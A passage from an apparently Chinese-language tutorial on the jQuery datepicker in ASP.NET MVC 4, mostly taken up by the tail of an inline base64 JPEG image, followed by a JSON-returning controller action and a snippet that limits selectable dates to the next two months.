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” alt=”” / 更详细教程可以参考这个链接:http://instinctcoder.com/asp-net-mvc-4-jquery-datepicker-date-format-validation/ 6.在控制器里添加接受提交来的日期参数的方法 public JsonResult IndexPost(DateModel mydate) return Json(new { Result = “OK” }); } 点击提交时返回{“Result”:”OK”}的页面,控制器接收到日期参数 二、对日期选择进行范围限定,以限制只能选择今日及以后的两个月的范围为例:在视图中加入下面的javascript 1 $(document).ready(function () { 2 var today = new Date(); //今日 3 var d = new Date(); 4 d.setMonth(d.getMonth() + 2); //选择的截止日期为两个月后的今天6 $(‘#DOB’).datepicker({ minDate: today, maxDate: d }); //设置选择的起始日期和截至日期 7 }) 三、设置onselect 方法,使得选择完日期即可进行必要的行为。以下代码选择完日期在一个textbox显示 input type=”text” id=”dat” /